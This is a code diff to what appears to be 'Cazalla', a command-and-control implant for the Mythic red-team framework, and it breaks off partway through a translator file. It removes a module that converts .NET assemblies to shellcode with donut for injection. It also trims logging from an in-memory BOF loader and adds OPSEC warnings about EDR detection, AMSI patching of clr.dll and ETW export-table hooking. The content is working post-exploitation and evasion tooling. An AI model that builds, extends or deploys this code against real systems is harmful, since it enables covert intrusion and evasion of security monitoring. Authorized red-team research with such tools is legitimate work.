diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index ae5ac07..448c13c 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -193,12 +193,6 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { // But if called directly, we'll handle it here _wrn("inline_execute_assembly should be called via subtasks"); if (analizadorTarea) liberarAnalizador(analizadorTarea); - } else if (tarea == EXECUTE_ASSEMBLY_CMD) { - _inf("===== PROCESSING EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea); - // This command is typically handled via subtasks in Python (inject_shellcode) - // But if called directly, we'll handle it here - _wrn("execute_assembly should be called via subtasks"); - if (analizadorTarea) liberarAnalizador(analizadorTarea); } else { _wrn("Tarea desconocida: 0x%02x", tarea); _wrn("Tarea %u: Comando desconocido, liberando recursos", i+1); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index 1be6218..18d0d0f 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -67,7 +67,6 @@ /* BOF and Assembly execution commands */ #define INLINE_EXECUTE_CMD 0x70 #define INLINE_EXECUTE_ASSEMBLY_CMD 0x71 -#define EXECUTE_ASSEMBLY_CMD 0x72 /* Extension marker to carry SOCKS array in binary messages */ #define SOCKS_BLOCK_MARKER 0xF5 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c index a0a81ba..cca5046 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c @@ -35,7 +35,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) { return 1; } - _inf("[BOFExecutionThread] Iniciando ejecución de BOF en thread separado"); threadArgs->completed = FALSE; threadArgs->success = FALSE; @@ -45,7 +44,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) { threadArgs->success = result; threadArgs->completed = TRUE; - _inf("[BOFExecutionThread] BOF ejecutado, success=%d", result); return result ? 0 : 1; } @@ -75,8 +73,6 @@ void BeaconPrintf(int type, char* fmt, ...) { beacon_output_size += length; beacon_output_offset += length; va_end(args); - - _inf("[BeaconPrintf] Output capturado: %d bytes, total buffer: %d bytes", length, beacon_output_size); } // BeaconOutput - Capture raw output from BOFs @@ -94,8 +90,6 @@ void BeaconOutput(int type, char* data, int len) { memcpy(beacon_output_buffer + beacon_output_offset, data, len); beacon_output_size += len; beacon_output_offset += len; - - _inf("[BeaconOutput] Output capturado: %d bytes, total buffer: %d bytes", len, beacon_output_size); } // BeaconGetOutputData - Get captured output (caller must free) @@ -185,7 +179,6 @@ BOOL BeaconIsAdmin(void) { DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) { #define CHUNK_SIZE 512000 // 512 KB - _inf("[inline_execute] Obteniendo archivo BOF de Mythic: %.*s", 36, fileId); DWORD status = 0; PBYTE dataBuffer = NULL; @@ -330,7 +323,6 @@ DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) { bof->size = totalBytesRead; bof->totalChunks = totalChunks; - _inf("[inline_execute] Archivo BOF obtenido: %zu bytes, %u chunks", totalBytesRead, totalChunks); return 0; cleanup: @@ -500,12 +492,9 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg return FALSE; } - _inf("[ExecuteEntry] Buscando entry point '%s' en %u símbolos", func, COFF->FileHeader->NumberOfSymbols); for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) { if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) { foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value); - _inf("[ExecuteEntry] Entry point '%s' encontrado en símbolo %u: 0x%p (offset=%u)", - func, counter, foo, COFF->SymbolTable[counter].Value); break; } } @@ -516,12 +505,7 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg } // Execute the BOF - // Execute the BOF - // Note: If the BOF crashes, the agent will crash too since we can't use SEH with GCC - // The BOF should handle its own errors gracefully - _inf("[ExecuteEntry] Ejecutando entry point '%s'...", func); foo((char*)args, (UINT32)argSize); - _inf("[ExecuteEntry] Entry point '%s' completado", func); return TRUE; } @@ -639,7 +623,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat } // Execute the BOF - _inf("[RunCOFF] Preparando ejecución de entry point '%s' con argumentos: data=%p, size=%lu", EntryName, argumentdata, argumentsize); if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) { _err("[RunCOFF] Error ejecutando entry point '%s'", EntryName); // Cleanup @@ -652,7 +635,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE); return FALSE; } - _inf("[RunCOFF] Entry point '%s' ejecutado exitosamente", EntryName); // Cleanup for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { @@ -709,12 +691,9 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff if (!argsJson || argsJsonLen == 0) { *outBuffer = NULL; *outSize = 0; - _inf("[ParseBOFArguments] No arguments provided"); return TRUE; // No arguments is valid } - _inf("[ParseBOFArguments] Parsing JSON arguments: %.*s", (int)argsJsonLen, argsJson); - // Check for empty array [] PCHAR p = argsJson; PCHAR end = argsJson + argsJsonLen; @@ -726,7 +705,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff // Empty array *outBuffer = NULL; *outSize = 0; - _inf("[ParseBOFArguments] Empty array, no arguments"); return TRUE; } } @@ -841,20 +819,16 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff } memcpy(buffer + offset, &val, 2); offset += 2; - _inf("[ParseBOFArguments] Packed int16: %d", val); } else if (strcmp(typeBuf, "int32") == 0) { INT32 val = 0; // Handle boolean values (true/false) and numeric values // First check for unquoted boolean literals if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) { val = 1; - _inf("[ParseBOFArguments] Detected boolean 'true' -> 1"); } else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) { val = 0; - _inf("[ParseBOFArguments] Detected boolean 'false' -> 0"); } else { val = (INT32)atoi(valueStart); - _inf("[ParseBOFArguments] Parsed numeric value: %d", val); } if (offset + 4 > bufferSize) { LocalFree(buffer); @@ -862,7 +836,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff } memcpy(buffer + offset, &val, 4); offset += 4; - _inf("[ParseBOFArguments] Packed int32: %d (from '%.*s', len=%zu)", val, (int)valueLen, valueStart, valueLen); } else if (strcmp(typeBuf, "string") == 0) { if (offset + 4 + valueLen + 1 > bufferSize) { LocalFree(buffer); @@ -874,7 +847,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff memcpy(buffer + offset, valueStart, valueLen); offset += valueLen; buffer[offset++] = '\0'; - _inf("[ParseBOFArguments] Packed string: %.*s (len=%u)", (int)valueLen, valueStart, len); } else if (strcmp(typeBuf, "wchar") == 0) { // Convert to wide string (UTF-16) SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes @@ -894,7 +866,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff WCHAR nullTerm = 0; memcpy(buffer + offset, &nullTerm, 2); offset += 2; - _inf("[ParseBOFArguments] Packed wchar: %.*s (len=%u)", (int)valueLen, valueStart, len); } else if (strcmp(typeBuf, "base64") == 0) { // Decode base64 char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1); @@ -935,7 +906,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff LocalFree(b64Str); LocalFree(decoded); - _inf("[ParseBOFArguments] Packed base64: %zu bytes", decodedLen); } else if (strcmp(typeBuf, "bytes") == 0) { // Convert hex string to bytes PBYTE bytes = NULL; @@ -965,7 +935,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff offset += bytesLen; LocalFree(bytes); - _inf("[ParseBOFArguments] Packed bytes: %zu bytes", bytesLen); } else { // Unknown type - skip or error? _wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf); @@ -984,7 +953,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff buffer = NULL; } - _inf("[ParseBOFArguments] Total packed size: %zu bytes", offset); *outBuffer = buffer; *outSize = offset; return TRUE; @@ -994,7 +962,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff * InlineExecuteHandler - Main handler for inline_execute command */ VOID InlineExecuteHandler(PAnalizador argumentos) { - _inf("===== InlineExecuteHandler INICIO ====="); // Read task UUID SIZE_T uuidLen = 36; @@ -1018,8 +985,6 @@ VOID InlineExecuteHandler(PAnalizador argumentos) { SIZE_T argsLen = 0; PBYTE argsBuffer = getBytes(argumentos, &argsLen); - _inf("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu", - 36, taskUuid, (int)fileIdLen, fileId, argsLen); // Create response package PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); @@ -1054,9 +1019,7 @@ VOID InlineExecuteHandler(PAnalizador argumentos) { PBYTE bofArgs = NULL; SIZE_T bofArgsSize = 0; if (argsBuffer && argsLen > 0) { - _inf("[inline_execute] Argumentos recibidos del translator: size=%zu bytes", argsLen); - - // The buffer from translator already has the format from Packer: [size:4 bytes LE][data] + // The buffer from translator already has the format from Packer: [size:4 bytes LE][data] // We just need to replace the first 4 bytes with the total size bofArgs = argsBuffer; // Use the buffer directly bofArgsSize = argsLen; @@ -1064,9 +1027,7 @@ VOID InlineExecuteHandler(PAnalizador argumentos) { // Replace first 4 bytes with total size (including the 4-byte header) UINT32 totalSize = (UINT32)bofArgsSize; memcpy(bofArgs, &totalSize, 4); - _inf("[inline_execute] Buffer preparado: total_size=%u, buffer_size=%zu", totalSize, bofArgsSize); } else { - _inf("[inline_execute] No hay argumentos"); bofArgs = NULL; bofArgsSize = 0; if (argsBuffer) { @@ -1082,53 +1043,9 @@ VOID InlineExecuteHandler(PAnalizador argumentos) { } beacon_output_size = 0; beacon_output_offset = 0; - _inf("[inline_execute] Buffer de output limpiado antes de ejecutar BOF"); // Execute the BOF DWORD fileSize = (DWORD)bof.size; - _inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize); - _inf("[inline_execute] Argumentos para BOF: size=%zu bytes, ptr=%p", bofArgsSize, bofArgs); - - // Log argument structure for debugging (first 100 bytes) - if (bofArgs && bofArgsSize > 0) { - int logBytes = (bofArgsSize > 100) ? 100 : bofArgsSize; - // Log only summary of arguments (reduced verbosity to prevent log blocking) - if (bofArgsSize >= 4) { - UINT32* ptr = (UINT32*)bofArgs; - SIZE_T offset = 4; - if (offset + 4 <= bofArgsSize) { - UINT32 bytesLen = ptr[1]; - offset += 4 + bytesLen; - if (offset + 4 <= bofArgsSize) { - UINT32 assemblyLen = *(UINT32*)((PBYTE)bofArgs + offset); - offset += 4; - if (offset + 4 <= bofArgsSize) { - UINT32 wcharLen = *(UINT32*)((PBYTE)bofArgs + offset); - offset += 4 + wcharLen; - if (offset + 4 <= bofArgsSize) { - INT32 patchExit = *(INT32*)((PBYTE)bofArgs + offset); - offset += 4; - if (offset + 4 <= bofArgsSize) { - INT32 amsi = *(INT32*)((PBYTE)bofArgs + offset); - offset += 4; - if (offset + 4 <= bofArgsSize) { - INT32 etw = *(INT32*)((PBYTE)bofArgs + offset); - _inf("[inline_execute] Args: bytes=%u, assembly=%u, wchar=%u, patch_exit=%d, amsi=%d, etw=%d", - bytesLen, assemblyLen, wcharLen, patchExit, amsi, etw); - } - } - } - } - } - } - } - } - - // Execute the BOF in a separate thread to prevent agent blocking - // This allows the agent to continue even if the BOF hangs or crashes - _inf("[inline_execute] === EJECUTANDO BOF EN THREAD SEPARADO ==="); - _inf("[inline_execute] BOF: buffer=%p, size=%lu, args=%p, argsSize=%zu", - bof.buffer, fileSize, bofArgs, bofArgsSize); // Prepare thread arguments BOF_THREAD_ARGS threadArgs = {0}; @@ -1157,26 +1074,17 @@ VOID InlineExecuteHandler(PAnalizador argumentos) { // Wait for BOF execution with timeout (30 seconds) DWORD timeoutMs = 30000; // 30 seconds - _inf("[inline_execute] Esperando ejecución del BOF (timeout=%lu ms)...", timeoutMs); DWORD waitResult = WaitForSingleObject(hThread, timeoutMs); - _inf("[inline_execute] WaitForSingleObject retornó: %lu (WAIT_OBJECT_0=%d, WAIT_TIMEOUT=%d)", - waitResult, WAIT_OBJECT_0, WAIT_TIMEOUT); BOOL bofSuccess = FALSE; if (waitResult == WAIT_OBJECT_0) { // Thread completed - _inf("[inline_execute] Thread del BOF completó exitosamente"); bofSuccess = threadArgs.success; - _inf("[inline_execute] threadArgs.success=%d, threadArgs.completed=%d", - threadArgs.success, threadArgs.completed); } else if (waitResult == WAIT_TIMEOUT) { // Thread timed out - BOF is hanging _err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs); - _inf("[inline_execute] Intentando terminar thread colgado..."); // Try to terminate the thread (not ideal, but necessary to unblock agent) - if (TerminateThread(hThread, 1)) { - _inf("[inline_execute] Thread terminado exitosamente"); - } else { + if (!TerminateThread(hThread, 1)) { _err("[inline_execute] Error terminando thread (error: %lu)", GetLastError()); } PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000); diff --git a/Payload_Type/cazalla/cazalla/agent_functions/execute_assembly.py b/Payload_Type/cazalla/cazalla/agent_functions/execute_assembly.py deleted file mode 100644 index be550c4..0000000 --- a/Payload_Type/cazalla/cazalla/agent_functions/execute_assembly.py +++ /dev/null @@ -1,220 +0,0 @@ -from mythic_container.MythicCommandBase import * -from mythic_container.MythicRPC import * -import json -import logging -import os -import tempfile - -logging.basicConfig(level=logging.INFO) - - -class ExecuteAssemblyArguments(TaskArguments): - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="assembly_name", - cli_name="Assembly", - display_name="Assembly", - type=ParameterType.ChooseOne, - dynamic_query_function=self.get_files, - description="Already existing .NET assembly to execute (e.g. SharpUp.exe)", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Default", - ui_position=1 - ) - ]), - CommandParameter( - name="assembly_file", - display_name="New Assembly", - type=ParameterType.File, - description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="New Assembly", - ui_position=1, - ) - ] - ), - CommandParameter( - name="assembly_arguments", - cli_name="Arguments", - display_name="Arguments", - type=ParameterType.String, - description="Arguments to pass to the assembly.", - default_value="", - parameter_group_info=[ - ParameterGroupInfo( - required=True, group_name="Default", ui_position=2, - ), - ParameterGroupInfo( - required=True, group_name="New Assembly", ui_position=2 - ), - ], - ), - ] - - async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: - response = PTRPCDynamicQueryFunctionMessageResponse() - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - CallbackID=callback.Callback, - LimitByCallback=False, - Filename="", - )) - if file_resp.Success: - file_names = [] - for f in file_resp.Files: - if f.Filename not in file_names and f.Filename.endswith(".exe"): - file_names.append(f.Filename) - response.Success = True - response.Choices = file_names - return response - else: - await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage( - CallbackId=callback.Callback, - Message=f"Failed to get files: {file_resp.Error}", - MessageLevel="warning" - )) - response.Error = f"Failed to get files: {file_resp.Error}" - return response - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise ValueError("Must supply arguments") - raise ValueError("Must supply named arguments or use the modal") - -class ExecuteAssemblyCommand(CommandBase): - cmd = "execute_assembly" - needs_admin = False - help_cmd = "execute_assembly -File [Assembly Filename] [-Arguments [optional arguments]]" - description = "Execute a .NET Assembly. Use an already uploaded assembly file or upload one with the command. (e.g., execute_assembly -File SharpUp.exe -Arguments \"audit\")" - version = 1 - author = "@c0rnbread (adapted for Cazalla)" - script_only = True - attackmapping = [] - argument_class = ExecuteAssemblyArguments - attributes = CommandAttributes( - builtin=False, - supported_os=[ SupportedOS.Windows ], - suggested_command=False - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - - try: - groupName = taskData.args.get_parameter_group_name() - - if groupName == "New Assembly": - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - TaskID=taskData.Task.ID, - AgentFileID=taskData.args.get_arg("assembly_file") - )) - if file_resp.Success: - if len(file_resp.Files) > 0: - pass - else: - raise Exception("Failed to find that file") - else: - raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error)) - - # Set display parameters - response.DisplayParams = "-Assembly {} -Arguments {}".format( - file_resp.Files[0].Filename, - taskData.args.get_arg("assembly_arguments") - ) - - taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename) - taskData.args.remove_arg("assembly_file") - - elif groupName == "Default": - # We're trying to find an already existing file and use that - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - TaskID=taskData.Task.ID, - Filename=taskData.args.get_arg("assembly_name"), - LimitByCallback=False, - MaxResults=1 - )) - if file_resp.Success: - if len(file_resp.Files) > 0: - logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}") - - taskData.args.remove_arg("assembly_name") # Don't need this anymore - - # Set display parameters - response.DisplayParams = "-Assembly {} -Arguments {}".format( - file_resp.Files[0].Filename, - taskData.args.get_arg("assembly_arguments") - ) - - elif len(file_resp.Files) == 0: - raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?") - else: - raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error)) - - # Get the file contents of the .NET assembly - assembly_contents = await SendMythicRPCFileGetContent( - MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId) - ) - - # Try to import donut - required for execute_assembly - try: - import donut - except ImportError: - raise Exception("The 'donut' Python module is not installed. Please install it with: pip install donut-shellcode") - - # Need a physical path for donut.create() - fd, temppath = tempfile.mkstemp(suffix='.exe') - logging.info(f"Writing Assembly Contents to temporary file \"{temppath}\"") - with os.fdopen(fd, 'wb') as tmp: - tmp.write(assembly_contents.Content) - - # Bypass=None, ExitOption=exit process - assembly_shellcode = donut.create(file=temppath, params=taskData.args.get_arg("assembly_arguments"), bypass=1, exit_opt=2) - # Clean up temp file - os.remove(temppath) - - logging.info(f"Converted .NET into Shellcode {len(assembly_shellcode)} bytes") - - # .NET shellcode stub in Mythic - shellcode_file_resp = await SendMythicRPCFileCreate( - MythicRPCFileCreateMessage(TaskID=taskData.Task.ID, FileContents=assembly_shellcode, DeleteAfterFetch=True) - ) - - - if shellcode_file_resp.Success: - shellcode_file_uuid = shellcode_file_resp.AgentFileId - else: - raise Exception("Failed to register execute_assembly binary: " + shellcode_file_resp.Error) - - # Send subtask to inject shellcode - # Note: This requires an inject_shellcode command to exist - # For now, we'll just register the file and note that inject_shellcode needs to be implemented - subtask = await SendMythicRPCTaskCreateSubtask( - MythicRPCTaskCreateSubtaskMessage( - taskData.Task.ID, - CommandName="inject_shellcode", - SubtaskCallbackFunction="coff_completion_callback", - Params=json.dumps({ - "shellcode_file": shellcode_file_uuid, - "method": "default" - }), - Token=taskData.Task.TokenID, - ) - ) - - return response - - except Exception as e: - raise Exception("Error from Mythic: " + str(e)) - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp - diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py index fe9da22..15afdd6 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py @@ -313,6 +313,67 @@ class InlineExecuteCommand(CommandBase): return response + async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: + """ + OPSEC check before creating the task. + Warns about BOF execution risks. + """ + message = "⚠️ OPSEC WARNING - BOF Execution Detected\n\n" + message += "BOF (Beacon Object File) execution is monitored by:\n" + message += " • EDR/XDR solutions (memory allocation monitoring)\n" + message += " • API call monitoring (LoadLibraryA, GetProcAddress)\n" + message += " • Memory scanning (executable page allocation)\n" + message += " • Symbol resolution tracking\n\n" + + message += "🔍 DETECTION MECHANISMS:\n" + message += " • PAGE_EXECUTE_READWRITE memory allocation\n" + message += " • External symbol resolution (LoadLibraryA/GetProcAddress)\n" + message += " • COFF loader activity patterns\n" + message += " • Beacon API function calls\n\n" + + message += "💡 CONSIDERATIONS:\n" + message += " • In-process execution reduces some detection vectors (no new process)\n" + message += " • Better OPSEC than `shell` (no cmd.exe spawn)\n" + message += " • Memory allocation may be scanned by EDR\n" + message += " • API calls may be logged by security tools\n\n" + + message += "⚠️ DETECTION RISK: MEDIUM\n" + message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n" + message += "✅ This is a WARNING only - command will proceed.\n" + message += "Ensure you understand the detection risks before continuing." + + return PTTTaskOPSECPreTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPreBlocked=False, # Medium risk, don't block + OpsecPreBypassRole="operator", + OpsecPreMessage=message + ) + + async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse: + """ + OPSEC check after creating the task. + Warns about artifacts that will be created. + """ + message = "⚠️ OPSEC POST-CHECK - BOF Execution Artifacts\n\n" + message += "This task will create the following artifacts:\n" + message += " • Process Create: BOF execution in current process\n" + message += " • Memory Allocation: Executable memory pages (PAGE_EXECUTE_READWRITE)\n" + message += " • API Calls: LoadLibraryA, GetProcAddress, symbol resolution\n\n" + + message += "💡 ARTIFACT DETAILS:\n" + message += " • Process Create artifact is logged in Mythic\n" + message += " • Memory allocation may be detected by EDR memory scanning\n" + message += " • API calls may be logged by security tools\n\n" + + message += "✅ Review artifacts in the Artifacts tab after execution." + + return PTTTaskOPSECPostTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPostMessage=message + ) + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) return resp diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py index e333ef7..9a30a64 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py @@ -269,6 +269,130 @@ class InlineExecuteAssemblyCommand(CommandBase): alias=True ) + async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: + """ + OPSEC check before creating the task. + Warns about .NET assembly execution risks, especially with bypass flags. + """ + # Check if bypass flags are enabled + amsi_enabled = taskData.args.get_arg("amsi") or False + etw_enabled = taskData.args.get_arg("etw") or False + patch_exit_enabled = taskData.args.get_arg("patch_exit") or False + + blocked = False + message = "⚠️ OPSEC WARNING - .NET Assembly In-Process Execution Detected\n\n" + + message += ".NET assembly execution is monitored by:\n" + message += " • EDR/XDR solutions (CLR loading detection)\n" + message += " • AMSI (Anti-Malware Scan Interface)\n" + message += " • ETW (Event Tracing for Windows)\n" + message += " • Memory scanning (executable page allocation)\n" + message += " • Behavioral analysis engines\n\n" + + if amsi_enabled or etw_enabled: + message += "🚨 HIGH RISK DETECTED - Bypass Flags Enabled\n\n" + message += "⚠️ WARNING: You have enabled bypass flags that significantly increase detection risk:\n\n" + + if amsi_enabled: + message += " • --amsi: AMSI bypass by patching clr.dll\n" + message += " - Patching clr.dll may trigger behavioral detections\n" + message += " - More evasive than patching amsi.dll, but still detectable\n" + message += " - Advanced EDR solutions monitor CLR modifications\n\n" + + if etw_enabled: + message += " • --etw: ETW bypass via EAT hooking\n" + message += " - EAT hooking advapi32.dll!EventWrite is monitored\n" + message += " - Advanced EDR solutions detect export table modifications\n" + message += " - May trigger immediate alerts\n\n" + + message += "🔍 BYPASS DETECTION MECHANISMS:\n" + message += " • CLR DLL patching detection\n" + message += " • Export Address Table (EAT) hooking detection\n" + message += " • Behavioral analysis of bypass techniques\n" + message += " • Memory integrity checks\n\n" + + message += "⚠️ DETECTION RISK: HIGH (with bypass flags)\n" + message += "Bypass techniques are heavily monitored and may trigger immediate alerts.\n\n" + + # Block if both bypasses are enabled + if amsi_enabled and etw_enabled: + blocked = True + message += "🚨 BLOCKED: Both AMSI and ETW bypasses enabled.\n" + message += "This combination has very high detection risk.\n" + message += "Consider using only one bypass or none if possible.\n\n" + else: + message += "🔍 DETECTION MECHANISMS:\n" + message += " • CLR loading into memory\n" + message += " • .NET assembly reflection/loading\n" + message += " • Memory allocation (executable pages)\n" + message += " • Assembly execution patterns\n\n" + + message += "💡 CONSIDERATIONS:\n" + message += " • In-process execution reduces detection vectors (no process injection)\n" + message += " • Better OPSEC than process spawning (no new process creation)\n" + message += " • CLR loading may be detected by EDR\n" + message += " • Memory allocation may be scanned\n\n" + + message += "⚠️ DETECTION RISK: MEDIUM (without bypass flags)\n" + message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n" + + if patch_exit_enabled: + message += " • --patchexit: Prevents assembly from exiting (recommended)\n\n" + + message += "💡 ALTERNATIVES:\n" + message += " • Use `inline_execute` for BOFs (lower detection risk)\n" + message += " • Consider executing assemblies without bypass flags first\n\n" + + if not blocked: + message += "✅ This is a WARNING only - command will proceed.\n" + else: + message += "❌ This command is BLOCKED due to high detection risk.\n" + + message += "Ensure you understand the detection risks before continuing." + + return PTTTaskOPSECPreTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPreBlocked=blocked, + OpsecPreBypassRole="other_operator" if blocked else "operator", + OpsecPreMessage=message + ) + + async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse: + """ + OPSEC check after creating the task. + Warns about artifacts that will be created. + """ + amsi_enabled = taskData.args.get_arg("amsi") or False + etw_enabled = taskData.args.get_arg("etw") or False + + message = "⚠️ OPSEC POST-CHECK - .NET Assembly Execution Artifacts\n\n" + message += "This task will create the following artifacts:\n" + message += " • Process Create: .NET assembly execution in-process\n" + message += " • CLR Loading: .NET Common Language Runtime loaded into memory\n" + message += " • Memory Allocation: Executable memory pages for assembly\n" + + if amsi_enabled: + message += " • AMSI Bypass: clr.dll patching (high detection risk)\n" + if etw_enabled: + message += " • ETW Bypass: EAT hooking advapi32.dll!EventWrite (high detection risk)\n" + + message += "\n💡 ARTIFACT DETAILS:\n" + message += " • Process Create artifact is logged in Mythic\n" + message += " • CLR loading may be detected by EDR\n" + message += " • Memory allocation may be scanned by EDR memory protection\n" + + if amsi_enabled or etw_enabled: + message += " • Bypass techniques may trigger immediate behavioral alerts\n" + + message += "\n✅ Review artifacts in the Artifacts tab after execution." + + return PTTTaskOPSECPostTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPostMessage=message + ) + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: response = PTTaskCreateTaskingMessageResponse( TaskID=taskData.Task.ID, diff --git a/Payload_Type/cazalla/requirements.txt b/Payload_Type/cazalla/requirements.txt index a6d8887..4e253f4 100644 --- a/Payload_Type/cazalla/requirements.txt +++ b/Payload_Type/cazalla/requirements.txt @@ -12,5 +12,4 @@ charset_normalizer==3.3.2 pycryptodome==3.19.0 # Optional dependencies: -# donut-shellcode - Required only for execute_assembly command -# Install with: pip install donut-shellcode \ No newline at end of file +# (None at this time) \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 930185e..f9ae7e7 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -43,8 +43,7 @@ commands = { "socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente # BOF and Assembly execution commands "inline_execute": {"hex_code": 0x70, "input_type": "bof_special"}, - "inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"}, - "execute_assembly": {"hex_code": 0x72, "input_type": "assembly_special"} + "inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"} } def responseTasking(tasks): @@ -272,12 +271,11 @@ def responseTasking(tasks): print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items") elif 